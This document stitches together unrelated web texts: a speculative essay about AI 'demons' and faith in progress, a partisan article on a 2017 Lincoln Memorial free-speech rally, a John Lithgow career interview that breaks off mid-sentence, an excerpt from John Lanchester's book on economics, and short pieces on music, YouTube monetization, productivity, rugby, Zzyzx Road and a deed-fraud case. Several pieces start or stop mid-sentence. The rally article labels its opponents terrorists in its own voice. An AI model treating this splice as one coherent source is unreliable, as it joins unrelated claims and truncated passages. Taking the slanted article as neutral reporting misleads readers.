The point, of course, is that you don’t get the second eventuality without conceding to the virtual reality of the first. The things ‘Gothic superstition’ have long spoken about are, in themselves, exactly the same as those extreme technological potentials are excavating from the crypt of the unimaginable. ‘Progress’ is a tacit formula for dispelling demons — from consciousness, if not existence — yet it is itself ever more credibly exposed as the most complacent superstition in human history, one that is still scarcely reckoned as a belief in need of defending at all.
How does the press warn the public about demons arising from a “master algorithm” without making it sound like a magic spell? With great difficulty because the actual bedrock of reality may not only be stranger than the Narrative supposes, but stranger than it can suppose.
The faith in progress has an affinity with interiority, because it consolidates itself as the subject of its own narrative. (There’s an off-ramp into Hegel at this point, for anyone who wants to get into Byzantine story-telling about it.) As our improvement becomes the tale, the Outside seems to haze out even beyond the bounds of its intrinsic obscurity — until it crashes back in.
… where there are networks there is malware. Sue Blackmore a writer in the Guardian*, argues that memes travel not just across similar systems, but through hierarchies of systems to kill rival processes all the time. She writes, “AI rests on the principle of universal Darwinism – the idea that whenever information (a replicator) is copied, with variation and selection, a new evolutionary process begins. The first successful replicator on earth was genes.” […] In such a Darwinian context the advent of an AI demon is equivalent to the arrival of a superior extraterrestrial civilization on Earth.
Between an incursion from the Outside, and a process of emergence, there is no real difference. If two quite distinct interpretative frames are invoked, that results from the inadequacies of our apprehension, rather than any qualitative characteristics of the thing. (Capitalism is — beyond all serious question — an alien invasion, but then you knew I was going to say that.)
… we ought to be careful about being certain what forms information can, and cannot take.
If we had the competence to be careful, none of this would be happening.
(Thanks to VXXC2014 for the prompt.)
* That description is perhaps a little cruel, she’s a serious, pioneering meme theorist.There has been a battle for free speech happening across the country in cities from Boston to Berkeley — and now it is heading straight for the nation’s capital.
On June 25, free speech activists will gather at the Lincoln Memorial to protest against the violent attempts to suppress right wing voices. An array of speakers will be taking the mic at the event, including Kyle Chapman (better known as Based Stick Man), Tim Treadstone (better known as Baked Alaska), Jack Posobiec, Augustus Invictus, Kyle Prescott, Jason Kessler, Irma Hinojosa, and James Allsup.
“In light of the dramatic increase in anti-Free Speech sentiment, legislative activity, violence (e.g., terrorist actions by ‘AntiFA’), and law enforcement activity (e.g., the LEO stand-down orders in Berkeley, CA), we the Free Speech Movement are gathered here to reaffirm a commitment to the basic necessity of Freedom of Speech in civil society,” the Facebook page for the event reads.
Previously, free speech events in Berkeley have lead to the blood of activists on both sides spilling onto the streets, and have continued to escalate — as violent leftists riot to prevent right wing speakers from being able to express their views.
Trending: Conservative Journalist Jacob Engels Suspended On Twitter For Calling Out Radical Islam
Augustus Invictus, an attorney, publisher, and former Libertarian candidate for the US Senate who is travelling from Orlando to speak at the rally told Big League that this event is important because “people in America are sick to death of the totalitarian agenda of the left.”
“We were all raised in this country to believe in the freedom of speech and association, the right to bear arms, and all the rest that comes along with the Bill of Rights,” Invictus said. “The leftist violence we have seen across the country has been an attempt to suppress those freedoms that are guaranteed by our founding documents, and those of us speaking at the event are the necessary – and at this point, welcome – retribution.”
The fact that the rally is being held at the Lincoln Memorial is an important statement in itself, independent Journalist, author, and free speech activist Jack Posobiec told Big League Politics.
Posobiec stated that “we are following in the steps of Martin Luther King.”
“The Lincoln Memorial is a legendary symbol of civil rights in America and that is why it is so important for us to hold our free speech rally there in the face of threats from the militant left and domestic terrorists AntiFa, to let them know that we will not be silenced and our First Amendment civil rights will be upheld,” Posobiec added.
Colton Merwin, a Baltimore resident who is organizing the rally, told Big League Politics that he “was inspired originally by the gatherings in Berkeley and the riots at Milo’s event as well as the Inauguration.”
“We believe in speech as the mode by which we are both empowered to express our beliefs, and as the crucial instrument that allows us to peacefully reconcile differences that arise within an ideologically diverse community,” Merwin wrote in the event description. “Without the freedom to exercise this right, individuals possess no means by which they can settle their differences through persuasion and compromise, leaving them with no recourse other than leveraging the power of the state or using extrajudicial force against their ideological opponents. No free society can long survive when there is no peaceful outlet for resolving differences.”
BLP asked Merwin if he thinks there will be problems with AntiFa, as we have seen violent clashes nearly every time that free speech activists gather — most recently in Portland on Sunday.
“I am 80% sure they will be protesting, their upset after those arrested on J20 have fueled a bit of an uproar. If they do come, the police are on our side so we will be for the most part safe,” Merwin said. He also noted that he met with the DC police and the permits office yesterday and got the permits confirmed.
Interestingly, DC AntiFa already has a protest planned for the 25th, but it is not currently set as a response to the free speech rally. Groups such as “Smash Racism DC” who put out a target list prior to the inaugural ‘DeploraBall’ at the National Press Club have been actively organizing a protest outside the police department over arrests during the riot on inauguration day.
The protest they are holding is being advertised as a “speakout against fascism and state repression at Washington DC Metro Police Headquarters on Sunday, June 25, at 12:00 PM.”
Ironically, the left’s event is also being listed as a “free speech” rally. Judging by DC AntiFa’s previous antics and attempts to prevent right wing groups and individuals from holding speeches or gathering, they are advocates for “free speech for me, but not for thee.”
“The right wing can have their sham ‘free speech’ rallies, but we know they are mobilizing to deny even the right to exist to those who don’t look like them. They can wave their flags, as if they have forgotten that their stars are stolen indigenous land and their stripes are the blood of the poor and the enslaved,” a statement by the event organizers reads. “We will rally at the headquarters of one of the worst suppressors and deniers of speech—the police.”Welcome to Random Roles, wherein we talk to actors about the characters who defined their careers. The catch: They don’t know beforehand what roles we’ll ask them to talk about.
The actor: If there’s one sure way to confirm John Lithgow’s success as an actor, it’s that he’s managed to maintain a high-profile career for the better part of four decades. Granted, he didn’t really hit household-name status until the early ’80s, but after films like The World According To Garp, Twilight Zone: The Movie, Footloose, The Adventures Of Buckaroo Banzai Across The 8th Dimension, and Harry And The Hendersons, his reputation as a character actor was permanently secured. Since then, Lithgow has also found success on the small screen, earning both laughs (3rd Rock From The Sun) and screams (Dexter), and his latest turn is toward the dramatic, playing Winston Churchill in Netflix’s new historical drama, The Crown.
The Crown (2016)—“Sir Winston Churchill”
The A.V. Club: How much about the history of Winston Churchill did you know going into this project? Are you a history buff?
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John Lithgow: Not particularly. Actually, I had done a project called World War II: When Lions Roared on television, an NBC miniseries, playing [Franklin D.] Roosevelt with Bob Hoskins playing Churchill and Michael Caine playing Stalin. It’s about their dealings during World War II. So I learned a lot about Churchill as a wartime prime minister—and much more about Roosevelt, of course—but I would say, in totality, I knew about 10 percent of what learned. I mean, it was really an extraordinary education, certainly about his late years. There’s a great book called Churchill Defiant about exactly this period. But the 70 years preceding that… I mean, what an extraordinary history! It’s the history of the 20th century, that man! So it was really plunging in and really, really enjoying it.
AVC: You’ve certainly done the accent before, but how was the challenge of doing the makeup?
JL: Well, you know, I had great collaborators. This woman named Ivana Primorac, we were intent on doing as little makeup as we could get away with, just so it wasn’t a painted papier-mâché mask, you know? In fact, it was about a 20-minute-long makeup job. It was very simple. There was a wonderful hairpiece—they do great hair in Britain—which made me look even balder than I am. It was like a comb-over that goes straight back!
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So that, a little bit of fake eyebrow, two remarkable little plumpers that gave me my Churchillian jowls and also helped with the voice, and I jammed cotton up my nose to give me a bulbous nose, and that was about it. And a few liver spots! We wanted to keep it just me, 10 years older than I am. And I thought it was wonderful makeup. That and sticking a cigar in my mouth and putting on those great, eccentric spectacles. You know, those little things. And the body. The body did everything. The fat suit and the clothes tailored to me if I were about 80 pounds heavier. It was something!
Dealing: Or The Berkeley-To-Boston Forty-Brick Lost-Bag Blues (1972)—“John”
AV Club: We try to go back to an actor’s first on-camera role, and it looks like yours was playing John in Dealing.
JL: Oh, my god! I haven’t heard about that in so many years. Good for you! You’ve actually surprised me!
It was the first time I was ever in a movie. I didn’t know what moviemaking was about. Nothing! And nobody told me! Nobody gave me the slightest instructions! I didn’t know about two-shots and over-the-shoulders and close-ups and masters. I knew nothing! And it was a very interesting experience, for sure. I was quite young, it was in… oh, god, what year would it have been?
AVC: It was released in ’72, so it would’ve been made maybe in ’71?
JL: I think it was ’71. And everybody wanted to do another Easy Rider. That’s what it was all about. We were all stoned, all the time, so that didn’t help. I mean, try to learn how to make a movie when you’re stoned. I don’t think we were ever stoned on the set, but… it was about dope dealing, for god’s sake, so I did plenty of research with everybody else.
I don’t know. I was playing a sort of Harvard fop, which a couple of years before was exactly what I had been. The director was from Harvard, and he’d known me then very slightly. He’d known me as sort of a campus star actor. And that’s how I got into the movies: in a movie that nobody has seen or even mentioned to me in about 40 years. So good for you!
AVC: How did you find your way into acting in the first place?
JL: Well, I grew up in a theater family. My father was a regional theater classical repertory producer. He created Shakespeare festivals. He produced all of Shakespeare’s plays, mostly in Shakespeare festivals in Ohio. One of them, the Great Lakes Theater Festival in Cleveland, is still going. So I grew up not wanting to be an actor, not wanting to go into the family business.
AVC: I was going to ask if there was a temptation to rebel.
JL: Well, it wasn’t actually rebellion, but I was very interested in being a painter. I had facility, I had talent, and I loved painting and printmaking, and I was quite serious about it. But I went to Harvard and immediately fell into the theater gang, and I was already an experienced actor, so you go with the flow! I’ve already used the phrase “campus star.” [Laughs.]
AVC: Were you surprised to find yourself the campus star?
JL: Well, surprised and delighted! Anyone who hears enough laughter and applause at a young age will become an actor, whether they intend to or not. And it’s worked out fine. I’ve always considered it my first big mistake.
The Adventures Of Buckaroo Banzai Across The 8th Dimension (1984)—“Lord John Whorfin”/”Dr. Emilio Lizardo”
AVC: There have been threats of bodily harm if this one gets skipped.
JL: Oh, no, you can’t skip that one. That’s my pride and joy! As a matter of fact, I just saw that somebody posted a Dr. Lizardo speech online right after Donald Trump’s acceptance speech at the Republican Convention. It’s the one where he says, “Where are we going?” And they say, “Planet 10!” And I say, “When?” And they say, “Real soon!” [Laughs.] Buckaroo Banzai… Only very lucky actors have a role like that in their résumé.
AVC: What did you think when you first got the script?
JL: Oh, I turned it down.
AVC: Did you really?
JL: Oh, yes. It didn’t make any sense to me at all. I thought, “This is nuts! And a crazy character!” But they begged me just to get together, and I met W.D. Richter and Earl Mac Rauch, and I loved the guys. They were so delightful. And I remember Rick saying, “Do this! No matter what happens, it’ll be really fun!” And he persuaded me. And from the beginning to the very end, I think I was laughing all the time except for when the camera was rolling. And, in fact, there is a moment in the film where you can see me breaking up. It was that much fun!
AVC: It wasn’t a huge box-office success, but the devotion of its cult following is profound.
JL: Oh, yes! When it first came out, though, we were all disappointed. It got a very bad release, because it was done in the very last moments of one regime at 20th Century Fox and Tri-Star. That was when it was done. It was one of the first releases of the new regime, and it was one of those films where nobody particularly wanted to claim credit for it. The new regime didn’t want the old regime to get credit, and the old regime was no longer in the picture. So it got this strange little release where it was almost dumped on the market, and the crazy brainy hipster population discovered it. But they were the only ones.
AVC: They’re still flying the flag for the film, though. Shout Factory just reissued it on Blu-ray.
JL: Yeah, I just did an interview for that! I loved it. It was so much fun. And D.W. Richter is just a great guy.
Resting Place (1986)—“Maj. Kendall Laird”
Baby Girl Scott (1987)—“Neil Scott”
My Brother’s Keeper (1995)—“Tom Bradley”/”Bob Bradley”
JL: My Brother’s Keeper?! My god! You’ve really done your research. Really, I haven’t even thought about these in years. That was a wonderful project. It was Glenn Jordan who directed it, and it was based on a real story. It was back during the “disease of the week” era of movies of the week, but they did some pretty extraordinary stuff on network television. Those days are completely gone. I did two or three really good ones: My Brother’s Keeper, Baby Girl Scott, and Resting Place. I got two Emmy nominations for them, and they’re really wonderful pieces of work.
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My Brother’s Keeper was about a pair of identical twins, both gay men, who both taught at the same school on Long Island, one of whom contracted AIDS. It was in the early years when they were just trying anything to try and corral this horrible epidemic, and it was all about… It was kind of an obscure plot, but it was about an effort to attempt a bone marrow transplant between two identical twins, thinking that might be a solution, and the insurance company was not stepping up to pay for it. I mean, it was very odd. But it was fascinating to play these two men.
When we made the film, one of them had died, so it was the other one who gave the blessing for the project and was very involved in it. I lost a lot of weight for a lot of the characters, and I wore an inch-thick fat suit for the other one. And I looked just different enough, but certainly very, very similar… like identical twins! Glenn Jordan was a superb director, and it was a very moving story.
The Life And Death Of Peter Sellers (2004)—“Blake Edwards”
JL: There |
and their peaceful slumbers are not disturbed for a single instant by the prospect of such a frightful catastrophe. On the other hand, eighty departments have been laboring today, without concert, without any mutual understanding, for the provisioning of Paris. How does each succeeding day bring what is wanted, nothing more, nothing less, to so gigantic a market? What, then, is the ingenious and secret power that governs the astonishing regularity of movements so complicated, a regularity in which everybody has implicit faith, although happiness and life itself are at stake?
His answer: the free market. This was a lightbulb moment for Bastiat, a glimpse of the complexity that can develop from a simple starting point. All those fundamental needs supplied, all those goods bought and sold, all those provisions transported at the expense of cash and effort and ingenuity, all those transactions made, and all of it constituting a mechanism that functions so effectively that the good citizens of Paris don’t even notice how dependent they are on it—and the whole mechanism created just by allowing people to trade freely with each other. Economists have a shorthand reference to this epiphanic insight into the power of markets: they call it “Who feeds Paris?”
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For most people with an interest in economics, there’s a revelatory moment resembling Bastiat’s. The bravura opening of Adam Smith’s The Wealth of Nations, the founding text of economics, has a description of a pin-making factory that is very like Bastiat’s moment of awakening in Paris. The eureka moment isn’t always to do with the power of markets, though that’s a pretty good starting point, since the balance of wants and needs manifested in a functioning market is an extraordinary thing: the contents of Aladdin’s cave, all on sale at an ordinary store near you, and brought there by nothing more than market forces. Or it can be some form of change that prompts the thought, a change to do with the kind of people who live in a place, or who do a certain kind of job, or something more fundamental, like the disappearance of an entire industry or the change in character of an entire city, an entire country. The forces at work behind these changes are economic. A curiosity about these forces is the starting point of economics.
The subject begins with the way people behave, and moves to the question of “why”: economics is, in the words of Alfred Marshall, one of the great modern founders of the subject, “the study of mankind in the ordinary business of life.” That sounds lofty, and suspiciously broad—which is exactly what it is. The most famous tag ever given the field of economics was Thomas Carlyle’s magnificent put-down, “the dismal science.” That’s a good zinger, but it isn’t fair. For one thing, it isn’t at all clear that economics actually is a science—many people in the field like the idea that it’s a science, and refer to it as a science, but that’s more a claim than a statement of fact. The conservative philosopher Michael Oakeshott wrote about the main areas of the humanities as “conversations”: poetry, history, and philosophy were conversations that humankind had had with itself, and that anyone could join in, just by paying attention and studying and thinking. Economics, it seems to me, is a conversation in that Oakeshottian sense, rather than a science like the hard physical sciences. That said, there are areas of economics that come very close to science, in which experiments are made and can be measured and repeated. These experiments are largely in the field of microeconomics, which is the study and analysis of how people behave. Microeconomists look at things like the way in which people consume free supermarket samples of jam, or rate wine in blind tastings, or use online dating services. A lot of what they find is useful, even entertaining, even fun, in its way. And that’s the other reason Carlyle was wrong. Economics isn’t dismal. It has dismal bits to be sure, and the whole idea of reducing the complexity and diversity of human behavior to shared underlying principles can sound joyless. In public life, economists are often to be found playing the role of people who explain why something is unaffordable, or why some group of people have lost their jobs, or why some other group has to work longer for less pay. But that’s an accidental manifestation of what economics really is: the study of human behavior in all its forms, and the attempt to discern principles and rules underlying the chaotic multiplicity of all the things we do. Psychology looks at people from the inside. Economics looks at them from the outside. Human beings aren’t dismal, and neither is economics.
The attempt to study human behavior on this scale is a large undertaking, and it follows that economics is a large field. There are lots of different tribes within it. Nothing annoys economists more than the assumption that they are all essentially the same. An economist working as a risk analyst for an investment bank is very different from an academic economist whose main interest is the developing world and whose PhD thesis was, say, a study of water wells in Nigeria; a number cruncher poring over industrial output data at the Treasury is doing something very different from a microeconomist trying to design an experiment that studies cognitive mistakes in people’s filling out of insurance claim forms. More generally, economists get very annoyed at the widely held thought that they are all macroeconomists; that’s a view that’s held even by people who don’t know exactly what a macroeconomist is or does. Macroeconomists are the guys whose field was born out of the study of the Great Depression, and the attempt not to repeat it: they look at whole economies, up to and including the planetary level. They’re the people who are often seen as being at fault in not having predicted the credit crunch and the Great Recession that followed. The queen’s famously good question at the London School of Economics (LSE)—“Why did nobody see it coming?”—is a macroeconomic question. But that’s by no means what most economists do and are.
I should point out that just as most economists aren’t macroeconomists, quite a lot of them have absolutely no interest in money. I don’t mean at the personal level: I mean they have no interest in money as a subject. In large parts of the discipline, or disciplines, of economics, money had come to be seen as no longer interesting at a theoretical level. Money had been solved. It was a way of keeping score of things being exchanged, but the real points of interest lay beyond and through it: it could be regarded as transparent, as safely ignorable. That seems pretty amazing now, with the benefit of hindsight, when we have seen a convulsion inside the function of money that took the entire global financial system to the edge of the abyss, with consequences that are bitterly present in many of our lives more than half a decade later. You could even say that large parts of the economic profession resembled the British defenses at Singapore, with their guns pointed in the wrong direction.
There’s no consensus inside economics about the importance of money. There’s no consensus about anything, really, not even on how important the credit crunch and subsequent Great Recession were. “Who cares?” an academic economist at the LSE said to me, apropos exactly this point. “What happens to hundreds of millions of very poor people in South Asia and sub-Saharan Africa is a lot more important. So we in the West are going to have a difficult decade or two—so what?”
This lack of consensus doesn’t just apply to the overall conclusions that people reach; it also touches on the very subjects of discussion, the terms of debate themselves. Economists and people who speak money argue all the time about things like inflation, not just in terms of what to do about it and its practical consequences but actually in terms of the very essence of what it is and how it works and how best to define it.
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Money itself is a subject of immense difficulty, again not just on the practical level but in its essence and nature. There’s a standard definition of money in economics, or at least of the uses of money, as serving a triple function: a store of value, a medium of exchange, and a unit of account. But the real uses of money are more mysterious than this makes them sound, and its evolution is more mysterious too. There are sometimes arguments in science about whether specific breakthroughs are better defined as discoveries or as inventions: are the findings of mathematics discoveries of entities that preexist, or are they creations of the human imagination? Or both? Money is like that too. Did we invent it, or is it somehow inherent in transactions between people—implying that there is a “moneyness” in exchanges, which money then abstracts and turns into an exchangeable thing-in-itself? (The popularity of this view was one of the reasons many economists had stopped being interested in money: the transactions were more interesting than the tool through which they were transacted.)
Even once we learn that the standard economists’ account of how money came to be is wrong (they say first we invent bartering, then money, then credit, but anthropological evidence reveals that credit comes first, then money, with bartering vastly less common) we still haven’t come close to capturing the deep weirdness of money in its modern manifestation, as digital bits moving from screen to screen that combine complete ephemerality with total power over us. As Steve Jobs once said, all computers do is shuffle numbers about. But these digital ones and zeros measure the value of our labor and define a large part of our being, not just externally in terms of the work we do and where we live and what we own, but in terms of what we think, how we see our interests, with whom we identify, how we define our goals and ambitions, and often, perhaps too often, even what we think of ourselves in our deepest and innermost private being. And yet they’re just ones and zeros. And these ones and zeros are willed into being by governments, which can create more of them just by running a printing press; in fact, thanks to the miracle of quantitative easing, they don’t even need to do that, but instead can merely announce that there is now more electronic money. We’re inclined to think of money as a physical thing, an object, but that’s not really what it is. Modern money is mainly an act of faith—an act of credit, of belief.
One of the lessons of the credit crunch was that this credit, this belief, can be vulnerable. A moment came when it wasn’t clear, even to people at the heart of the system—the high priesthood of money itself—that the ones and zeros were worth what they were supposed to be worth. If people and companies couldn’t pay their debts, then all the accumulated credits in the financial system weren’t worth their nominal value; and if that was the case, then, as George W. Bush so eloquently put it, “this sucker could go down.” Even after the financial system recovered from its near-death experience, it has proved hard to forget that moment of noncredit, and to let go of that sense of appalled wonder. Andy Haldane, director of stability at the Bank of England (great job title: perhaps each and every one of us should have a personal director of stability), made a study of modern derivative transactions and found that some of them involve up to a billion lines of computer code. That is beyond comprehension, not in a metaphorical way, but as a plain fact: no human can understand and parse a financial instrument of that complexity. None of us really understands how the labor of humans and the movement of goods and exchange of services can be turned into purely financial transactions that involve a “black box” financial instrument a billion lines long. We just have to take it on credit. One of the best books written about money is a history of it by the economist and economic historian John Kenneth Galbraith. It begins with a wonderfully bracing line: “The reader should proceed in these pages in the knowledge that money is nothing more or less than what he or she always thought it was—what is commonly offered or received for the purchase or sale of goods, services, or other things.”7 That, by refusing to engage with the problem, is a potent acknowledgment of its scale. In effect the great man is saying, “Money? I’ve no idea what that stuff really is.”
This, I think, is an important part of what is interesting about the language of money, and about the field of economics, and maybe even about people. There’s so much we don’t know, not just on a superficial level but at the deepest levels too. That is why the language is so useful, and so important: it delineates the thing we’re talking about, in order to leave us clear to agree or disagree, to make up our minds or to fail to make them up, and come to the conclusion that while we can see the problem, we don’t entirely know what we think about it. At the present moment, economic news hasn’t been far from the front pages for more than about forty-eight hours anywhere in the Western world at any point in the last six years. The subject has dominated politics and loomed over ordinary lives; the specifics of what policies to follow have been at the subject of extensive analysis everywhere, from the news media to international summits to the blogosphere to the kitchen table. The subject under discussion, economics, purports to be a science. It is an extremely well-staffed and well-funded field of study, employing tens of thousands of people in both the private and the public sectors; it has extensive experience of precedents and an incomparably greater amount of data than was available to any previous students of economic problems.* And yet, as Anatole Kaletsky wrote in the London Times on 4 April 2013, all the main questions remain open:
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In a recession, should governments reduce budget deficits or increase them? Do zero-interest rates stimulate economic recovery or suppress it? Should welfare benefits be maintained or cut in response to high unemployment? Should depositors in failed banks be protected or face big losses? Does economic inequality damage or encourage economic growth?... What all these important questions have in common is that economists cannot answer them.
This is an amazing state of affairs. For some, it is the moment to give up on economics as a discipline, to throw up the hands and announce that the whole subject is bollix. (And maybe to throw open the window too, and announce, “I’m as mad as hell and I’m not going to take it anymore.”) This impulse is easy to understand, and has given birth to some good polemics, such as Steve Keen’s Debunking Economics: The Naked Emperor of the Social Sciences. And indeed, there are times when faced by an institutional arrogance among some economists—a semi-autistic refusal to see the human context of their own subject, a blindness to their own shortcomings and the limits to their own knowledge—when it’s tempting to go along with the refuseniks. But it’s more tempting still, I would suggest, to swap perspectives on the question. The lack of definitive conclusions isn’t a weakness in the field; it’s what’s interesting about it. The chaotic lack of consensus arises because economics is “the study of mankind in the ordinary business of life.” When is anyone going to reach any final verdicts about that? The nature of the difficulty was touched on by Keynes, quoting a remark made to him by Max Planck, the German scientist and theoretician who made the intellectual breakthrough that led to the birth of quantum physics. That means Planck was one of the most brilliant mathematician-physicists the world has ever seen.
Professor Planck of Berlin, the famous originator of the Quantum Theory, once remarked to me that in early life he had thought of studying economics, but had found it too difficult! Professor Planck could easily master the whole corpus of mathematical economics in a few days. He did not mean that! But the amalgam of logic and intuition and the wide knowledge of facts, most of which are not precise, which is required for economic interpretation in its highest form, is, quite truly, overwhelmingly difficult for those whose gift mainly consists in the power to imagine and pursue to their furthest points the implications and prior conditions of comparatively simple facts which are known with a high degree of precision.
Keynes’s point—which was also Planck’s point—is that in economics, the mathematics can’t be relied on to do all the work. The “amalgam of logic and intuition and the wide knowledge of facts, most of which are not precise,” makes the field one requiring an unusual mix of aptitudes. This of course is what is fascinating about it: the fact that its complexity derives from the variety of human lives. We’re not simple, so why should economics be?
Excerpted from "How to Speak Money: What the Money People Say and What It Really Means" by John Lanchester. Published by W.W. Norton and Co. Copyright 2014 by John Lanchester. Reprinted with permission of the publisher. All rights reserved.Today Major Lazer dropped their third album, Peace is the Mission, as well as leaked it on their Soundcloud account. Unfortunately, this release has left fans unsatisfied, asking the group things like ‘what have they done with Diplo?’. However, even with the mixed opinions and ridicule, displeased fans are unable to deny the few fire tracks that were dropped on the album.
Major Lazer Announces 4th Album
Tracks to notes:
“Lean On” – if you haven’t heard this track yet, you are doing yourself a disservice. Hop on the bandwagon and love it like the rest of us.
“Blaze Up The Fire” features Jamaican rapper Chronixx, helping to highlight their reggae influence.
“Night Riders“ featuring Travi$ Scott, 2 Chainz, Pusha T and Mad Cobra, is the second most listened to track of the album (after “Lean On”) by Soundcloud users. However the difference has quite a gap with Lean On with upwards of 44 million streams and “Night Riders” only just over 2 million.
Regardless, don’t let hearsay cloud your judgment of the album. Listen for yourself, below and let’s hope Music Is the Weapon can deliver.Sean P. Aune | Internet Tips Tricks & News by
YouTube has begun a new initiative to tighten enforcement on which videos can be monetized and which can’t be.
Beginning late Wednesday night into Thursday morning, YouTube began removing monetizing from many videos from small to large content creators based on renewed enforcement of community guidelines. The list of “content that is considered inappropriate for advertising” includes:
Sexually suggestive content, including partial nudity and sexual humor
Violence, including display of serious injury and events related to violent extremism
Inappropriate language, including harassment, profanity and vulgar language
Promotion of drugs and regulated substances, including selling, use and abuse of such items
Controversial or sensitive subjects and events, including subjects related to war, political conflicts, natural disasters and tragedies, even if graphic imagery is not shown
The rules go on to state that YouTube “reserves the right to not monetize a video, as well as suspend monetization features on channels that repeatedly submit videos violating our policies.”
While some of the rules seem fairly common sense, the breadth of what YouTube feels falls under some of these rules is surprising some content creators under this new enforcement. One creator had monetization removed from his video talking about his battle with depression, and someone else discussing various skin products that have helped her overcome acne.
As we keep an eye on Twitter today, the list of what types of videos are being hit with monetization removal continues to grow, and we have no clue where it will stop. YouTube creators are going to have to take some time to adjust and create videos for the sole purpose of feeling out the boundaries of what is now allowed and what will earn them a penalty as YouTube is being fairly vague at the moment.
In an exchange between well-known YouTuber Philip DeFranco, the Team YouTube account said that this isn’t a policy change, but just a better notification system so that users can better appeal the removal.
@PhillyD No policy change here; just an improved notification process to ensure creators can appeal: https://t.co/mlfpbBvacg — Team YouTube (@TeamYouTube) September 1, 2016
Don’t be overly surprised if you discover some of your favorite YouTubers suddenly creating less content in the near future as they adjust to the new set of rules.According to Tony Schwartz in The Power of Full Engagement, committing time without also investing energy doesn’t yield much return for anyone. Have you ever had the experience of talking with someone who was there but not really there? Regardless of our ambitions, we all have those days where our mind and body are just demanding you curl up and doze off rather than tackle that latest report or finish replying to another e-mail.
Luckily, you too can overcome a rough morning and get back into the zone if you follow these five tips to recharge:
Practice the Mindfully Positive
When you find your mind wandering, try focusing on the present moment. Not only will this help keep you positive, it will improve your focus and quality of your work. The practice of mindfulness teaches us to become aware of our thoughts and the present moment. It is a practice we need to nurture, because our natural tendency is to stray from the here and now to our thoughts and worries for next week or the next month (15Five being a great way to reflect on the past week, gain clarity around priority and provide ideas or suggestions on improvements). When we practice mindfulness, we keep bringing our wandering mind back to the current moment, only focusing on the task at hand.
Research has shown that every single business and educational outcome improves when your brain is in a positive state rather than negative, neutral or stressed. As that Forbes article indicates, sales have improved 37% cross-industry, productivity by 31%, you’re 40% more likely to receive a promotion, nearly 10 times more engaged at work AND you live longer. A little effort can go a long way to manifest this into your everyday reality.
Follow the 50/10 Rule (aka The Hour of Power)
Are you finding yourself having to juggle a lot of tasks and losing track of individual progress? Try to follow the 50/10 rule. The premise is simple: for every 50 minutes of work, give yourself a 10 minute break. Fifty minutes is a manageable amount of time for uninterrupted work, and a ten-minute break is long enough to recharge your productivity muscle.
The key to this technique working is being completely focused on the task at hand for 50 straight minutes. If you find your attention wandering to that funny cat video on YouTube before 50 minutes are up, try easing into the hour of power by working for 45 minutes and taking a 15 minute break. Keep a notepad and pencil at hand to jot down other tasks that may come to mind during the 50 minutes, so that you can refer to them during your break and not interrupt your flow during work time.
Elevate Your Heart Rate
Regular exercise, as we all know, has its benefits, but doing so during your 10 minute break will speak wonders for your long term daily energy without harming your work performance. If you feel like exercising during work time will hamper your performance, you can put your mind at ease. Researchers at Stockholm University and Karolinska Institutet found that it is possible to use work time for exercise or other health-promoting measures and still attain higher productivity levels.
These facts coupled with a new study that found rare exercise is linked with a 50 percent increased risk of low productivity leaves us no excuses but to hit the gym or head out for a run.
Consider Color Psychology
Color plays a huge role in energy levels. Why are certain logos a particular color? What is the best color to paint your office or work area? All these are questions you must take into consideration, as the choices you make when it comes to your office colours can have a significant impact on energy and productivity. Google, for instance, uses different colors to help navigate through the office: orange is used for the workstations, and blue for sit-in corners.
Limit Caffeine Intake
That morning coffee might give you a quick energy fix, but is it really doing you any good in the long run? The caffeine in coffee increases catecholamines, your stress hormones. If you simply must get your caffeine fix, green tea is a great alternative, giving you a powerful punch of anti-oxidants along with the caffeine.
Got any energy-boosting tips of your own to add? Feel free to leave a comment below or send us a tweet @15Five!
Image source: BCHydroRONAN O'GARA played his last game for Munster in Saturday's Heineken Cup semi-final loss to Clermont Auvergne.
RONAN O'GARA played his last game for Munster in Saturday's Heineken Cup semi-final loss to Clermont Auvergne.
The 36-year-old out-half will delay an announcement for a number of weeks but after 110 Heineken Cup games and 1,395 points and a record 128 international caps for Ireland, he is believed to be keen to explore new career options.
Those options include pursuing a coaching role away from Munster as he believes he needs to experience other rugby cultures before realising his ultimate goal of becoming Munster's head coach one day.
Munster, though, are keen to convince him to keep playing for one more season. They have offered him a one-year contract and coach Rob Penney emphasised the desire to keep his star out-half. "Rog will be a part of Munster for as long as he wants to be," he said.
O'Gara was in outstanding form against Clermont and, in particular, he kicked beautifully. He also managed the game expertly and turned over a couple of balls at the breakdown. It was no surprise Penney was generous in his praise of the player afterwards.
"He loves the big moments obviously and he's been great for us. Since he's come back from Ireland he's had a clear image of what he's trying to achieve, and what he wants to do.
"He's such a passionate Munster man," he said.
O'Gara made his debut for Munster in 1997 and has played 236 times for his province, 222 as starter, kicking 2,560 points in all competitions. He has won two Heineken Cups, two Celtic Leagues and a Celtic Cup with Munster and is the record points scorer in the Heineken Cup.
On the international front, he is Ireland's most capped player ever with 128 caps and has scored 1,083 points in a green jersey. He also won four Triple Crowns and, in 2009, the Six Nations Grand Slam.
He was a three-time tourist with the Lions, playing in two Test matches.
O'Gara refused to allow himself to be drawn on his future in the immediate aftermath of Munster's loss on Saturday.
He was hugely emotional after the game and that he was joined on the pitch by his eldest son Rua gave rise to the speculation he might be ready to hang up his boots.
Munster still hope to convince him to remain on and will seek to speak to him about his plans as a matter of urgency.
Irish IndependentSome things haven't changed: Chances are, if you've driven to Las Vegas, you've wondered how the heck an exit came to be known as Zzyzx Road. In this fun vintage 1976 video clip of a KNBC segment sent to us by a reader, you can stop scratching your head and learn about the origins of Zzyzx Mineral Springs and Curtis Springer—the man behind it all.
KNBC News re: Zzyzx from Sunny & Mild Media on Vimeo.
As the video explains, Springer ran his health spa on the site from 1944 to 1974. In 1976, the California State Universities took over the property, and continue to this day to use it as their Desert Studies Center.
Now you can be the smarty pants in the car on your next Vegas road trip!December 3, 2017 | 12:27am
An appeals court has ruled that a New York woman whose family home was stolen by a scheming squatter can’t hold the city responsible for greenlighting the fake deed.
Jennifer Merin, 74, had sued the city for $600,000, claiming boneheaded bureaucrats allowed an ex-con to file a phony deed transfer that put her family’s empty three-bedroom Tudor in Queens under his name. He then moved in.
The Post documented Merin’s lengthy legal and bureaucratic struggle to get her house back. Darrell Beatty, 52, spent eight months in jail for the fraud.
The Brooklyn Appellate Court affirmed the lower Supreme Court ruling that the “city was not liable,” Law Department spokesman Nick Paolucci said Saturday. “Nevertheless, the Department of Finance has strengthened its deed-recording procedures, including inserting the sheriff as part of the review process.”
